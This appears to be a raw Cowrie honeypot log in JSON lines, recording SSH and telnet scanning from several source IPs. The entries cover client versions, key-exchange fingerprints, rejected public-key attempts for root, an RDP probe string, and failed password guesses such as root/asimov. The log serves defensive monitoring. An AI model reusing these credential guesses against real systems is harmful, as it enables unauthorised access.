{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.087642Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:4f:42:89:23:d4:6a:bf:d9:77:74:6c:b9:e5:bf:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnC7VbHabOYXThUm1LEmlkzgpo2rdCIdzj91VXbR0+bKiTBAvKiKgNkyL4OhGqwbmfKUl+51hmjUQOYbs8seZex1gjuCEHO6R8avYIyvMi+XIqOoQrwg1TCYcYOFuwhsaJVTYlzY0dquLi662SA6/RPxAFmIQBpKgAkIemAqqo1XJd4n9AwNQY5DXeY0IqribHJsn8lQIAT1SUzD2Jq3AZkys96AbR3QTJT+aFk1IjcDpLyBCZ98JJwrmFxqG+sfCuJmm/cQqPDFk4DBVlHbMfIAfU2mk5nMyxep2Yt9UJ1/AZfRZpg2YP+bf6dnkG7UUlfGXP9QarbUmvmfmAozX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:4f:42:89:23:d4:6a:bf:d9:77:74:6c:b9:e5:bf:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.282576Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:4f:42:89:23:d4:6a:bf:d9:77:74:6c:b9:e5:bf:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxnC7VbHabOYXThUm1LEmlkzgpo2rdCIdzj91VXbR0+bKiTBAvKiKgNkyL4OhGqwbmfKUl+51hmjUQOYbs8seZex1gjuCEHO6R8avYIyvMi+XIqOoQrwg1TCYcYOFuwhsaJVTYlzY0dquLi662SA6/RPxAFmIQBpKgAkIemAqqo1XJd4n9AwNQY5DXeY0IqribHJsn8lQIAT1SUzD2Jq3AZkys96AbR3QTJT+aFk1IjcDpLyBCZ98JJwrmFxqG+sfCuJmm/cQqPDFk4DBVlHbMfIAfU2mk5nMyxep2Yt9UJ1/AZfRZpg2YP+bf6dnkG7UUlfGXP9QarbUmvmfmAozX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.287077Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1Shadow","message":"login attempt [user/1Shadow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.300564Z","src_ip":"2.57.121.25","session":"212e71c4aa80","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:85:bf:55:cb:f2:99:26:ad:4f:78:7a:be:8a:db:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDArClIHW6lZxoMpaeJEapaoicYIkxLAuFDsnC/V9FekO46r7FXmJ+/YhU9XgqPn3CI7IB634ZIBvdzcdBvplNI06+2AG+VkywV1h4vZsB3jtC4MId50wZLx27bUcQixhdCR3fOgmew7nNRibsCehLmDncmOaDpGGkxyLqzZhTR+2/GMkYcO0WzOVOEndfRANB96qRbyNZufci8a/owXw0kMmGscOmczGCVWiwI7/5XLtiw7YUPlQ5HUdUNsplG7Q8mu+oEmI/ni7ERbcFUGFnzfoT3vGqcbLScOl0J7oPFlilFjkw7Lm8t9b9tyDVgvt05bmytLOjw3C51WJ/814Rp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:85:bf:55:cb:f2:99:26:ad:4f:78:7a:be:8a:db:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.334296Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:85:bf:55:cb:f2:99:26:ad:4f:78:7a:be:8a:db:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDArClIHW6lZxoMpaeJEapaoicYIkxLAuFDsnC/V9FekO46r7FXmJ+/YhU9XgqPn3CI7IB634ZIBvdzcdBvplNI06+2AG+VkywV1h4vZsB3jtC4MId50wZLx27bUcQixhdCR3fOgmew7nNRibsCehLmDncmOaDpGGkxyLqzZhTR+2/GMkYcO0WzOVOEndfRANB96qRbyNZufci8a/owXw0kMmGscOmczGCVWiwI7/5XLtiw7YUPlQ5HUdUNsplG7Q8mu+oEmI/ni7ERbcFUGFnzfoT3vGqcbLScOl0J7oPFlilFjkw7Lm8t9b9tyDVgvt05bmytLOjw3C51WJ/814Rp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.339405Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:d5:42:f1:09:7a:98:b3:fe:0b:9a:c0:0b:70:93:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS302s+bhkxYeZW4K+2CS3IyZ2XYPm7EtOc60XZJ3uKF95YW35Um1gNefMGIMmoTIvEyP/SWHI5V4k9GvUfnrrjXsJ3V03leT4PGmSeM/Lpq8vq65BUdcXsBRdcdM8Ia9+CJnDnLFJJA3Zht3/LgyJHRiDEYudm1aeMj739cIlIOdTHZIAXRv3z3ZywH0IoSW9paXtoxkbVdd1YzknukIzdituVFovzXbMkRqTu2BvAgVzU35LnWE39XMROqEvYGJWBHUBxgewVV53JF5utUPQ7wvWm4Pz3XrTGIR2ShW6cn5sN2N1Pw24VeLoOglEL8l8kObWoDWmLHaY+/DdDgch","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:d5:42:f1:09:7a:98:b3:fe:0b:9a:c0:0b:70:93:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.387278Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:d5:42:f1:09:7a:98:b3:fe:0b:9a:c0:0b:70:93:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS302s+bhkxYeZW4K+2CS3IyZ2XYPm7EtOc60XZJ3uKF95YW35Um1gNefMGIMmoTIvEyP/SWHI5V4k9GvUfnrrjXsJ3V03leT4PGmSeM/Lpq8vq65BUdcXsBRdcdM8Ia9+CJnDnLFJJA3Zht3/LgyJHRiDEYudm1aeMj739cIlIOdTHZIAXRv3z3ZywH0IoSW9paXtoxkbVdd1YzknukIzdituVFovzXbMkRqTu2BvAgVzU35LnWE39XMROqEvYGJWBHUBxgewVV53JF5utUPQ7wvWm4Pz3XrTGIR2ShW6cn5sN2N1Pw24VeLoOglEL8l8kObWoDWmLHaY+/DdDgch","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.391983Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:a8:b9:73:ed:80:96:cc:0d:db:da:92:9d:17:24:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpAaqaa8VNiT3BPQKloWZlvpDYT1RgaaHy7VnxGU4msM7GuhZOhDELka0gtQuKi7byEmLjJWOoIEpEgjD0j9mvEYwTYBJFi9At+r7HW4b4GQDTbvsxvs2Ngl/iZkhFiIR9So/W6T0AJMZrjrVpkibaqIS0A5fYCotqw4OlweDJnmpGWETY2CG2Db2wEYxlyTcwZe3p1/6NGWJRajDadEVLe97UEnb2DapnA5ZecIkYfWS+YIiPD7PiljeZIH33eFmt4s9c5hAYDcjP3we5hJPl7mJujOySsKG5srS5SoDHP8EeEJCs91VJCp6H0a4wGhYC6+psTgbb7xytnT8WqxfD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:a8:b9:73:ed:80:96:cc:0d:db:da:92:9d:17:24:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.438167Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:a8:b9:73:ed:80:96:cc:0d:db:da:92:9d:17:24:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpAaqaa8VNiT3BPQKloWZlvpDYT1RgaaHy7VnxGU4msM7GuhZOhDELka0gtQuKi7byEmLjJWOoIEpEgjD0j9mvEYwTYBJFi9At+r7HW4b4GQDTbvsxvs2Ngl/iZkhFiIR9So/W6T0AJMZrjrVpkibaqIS0A5fYCotqw4OlweDJnmpGWETY2CG2Db2wEYxlyTcwZe3p1/6NGWJRajDadEVLe97UEnb2DapnA5ZecIkYfWS+YIiPD7PiljeZIH33eFmt4s9c5hAYDcjP3we5hJPl7mJujOySsKG5srS5SoDHP8EeEJCs91VJCp6H0a4wGhYC6+psTgbb7xytnT8WqxfD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.446627Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:65:6f:d1:7d:b0:73:82:b7:bf:5e:2b:47:f9:7f:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQq5YjrdWDXvfVhMrtu46JAVEJM09N/Z042fgWocC+16VVuA2MZz7Bre77cq85NeYfVsNMTCffRMYFDIyCVybb59dubzgRd7TECV/aIztJRORwdPE/vfJ0qCI8/vgepxxrzOJ/I6AkasqE3pgfbpf6X9MVu95YNQYs7OR6Ekp9ogsewB/eg2XLjSKpvQn0MReb6nCvE21nAtRyXV9tHUXDRsAM+3DXwQOYS6g6hd6jowMV/IejjlN08qjKvhRUiBSZYPb4Wmj9RRX+6RdPxQ+DVF6Y1NZcn21Fts4t1qMq9dvGZ4+m9bNrsoQrm4AGmAAGRQstTbUGsZnapk7XIUnF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:65:6f:d1:7d:b0:73:82:b7:bf:5e:2b:47:f9:7f:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.491554Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:65:6f:d1:7d:b0:73:82:b7:bf:5e:2b:47:f9:7f:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQq5YjrdWDXvfVhMrtu46JAVEJM09N/Z042fgWocC+16VVuA2MZz7Bre77cq85NeYfVsNMTCffRMYFDIyCVybb59dubzgRd7TECV/aIztJRORwdPE/vfJ0qCI8/vgepxxrzOJ/I6AkasqE3pgfbpf6X9MVu95YNQYs7OR6Ekp9ogsewB/eg2XLjSKpvQn0MReb6nCvE21nAtRyXV9tHUXDRsAM+3DXwQOYS6g6hd6jowMV/IejjlN08qjKvhRUiBSZYPb4Wmj9RRX+6RdPxQ+DVF6Y1NZcn21Fts4t1qMq9dvGZ4+m9bNrsoQrm4AGmAAGRQstTbUGsZnapk7XIUnF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.495898Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:05.541980Z","src_ip":"192.227.193.165","session":"5869c30cca28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:06.410623Z","src_ip":"2.57.121.25","session":"212e71c4aa80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.131697177886963,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:10.313100Z","src_ip":"152.42.224.71","session":"a0516e3b8ec2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57705,"dst_ip":"159.203.135.109","dst_port":22,"session":"da250f432162","protocol":"ssh","message":"New connection: 152.42.212.128:57705 (159.203.135.109:22) [session: da250f432162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:10.782587Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:10.787216Z","src_ip":"152.42.212.128","session":"da250f432162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:10.790501Z","src_ip":"152.42.212.128","session":"da250f432162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.24095153808594,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:14.477116Z","src_ip":"152.42.224.71","session":"0cd6547876d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":59550,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e1044a1cd1c","protocol":"ssh","message":"New connection: 170.106.119.118:59550 (10.17.0.5:22) [session: 9e1044a1cd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:25.320692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:25.325743Z","src_ip":"170.106.119.118","session":"9e1044a1cd1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:25.395796Z","src_ip":"170.106.119.118","session":"9e1044a1cd1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":44438,"dst_ip":"10.17.0.5","dst_port":22,"session":"9651f779229d","protocol":"ssh","message":"New connection: 43.153.69.201:44438 (10.17.0.5:22) [session: 9651f779229d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:25.605757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:25.611170Z","src_ip":"43.153.69.201","session":"9651f779229d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:25.679866Z","src_ip":"43.153.69.201","session":"9651f779229d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asimov","message":"login attempt [root/asimov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:25.702170Z","src_ip":"170.106.119.118","session":"9e1044a1cd1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxcde32ws","message":"login attempt [root/1qazxcde32ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:25.985171Z","src_ip":"43.153.69.201","session":"9651f779229d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:26.773987Z","src_ip":"170.106.119.118","session":"9e1044a1cd1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:27.057796Z","src_ip":"43.153.69.201","session":"9651f779229d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":41792,"dst_ip":"10.17.0.5","dst_port":22,"session":"267e920dd855","protocol":"ssh","message":"New connection: 197.248.104.31:41792 (10.17.0.5:22) [session: 267e920dd855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:27.934968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:27.939998Z","src_ip":"197.248.104.31","session":"267e920dd855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:28.150856Z","src_ip":"197.248.104.31","session":"267e920dd855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36732,"dst_ip":"10.17.0.5","dst_port":22,"session":"a46455fc2708","protocol":"ssh","message":"New connection: 193.32.162.145:36732 (10.17.0.5:22) [session: a46455fc2708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:28.635333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:28.640052Z","src_ip":"193.32.162.145","session":"a46455fc2708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:17:28.744211Z","src_ip":"193.32.162.145","session":"a46455fc2708","protocol":"ssh"}
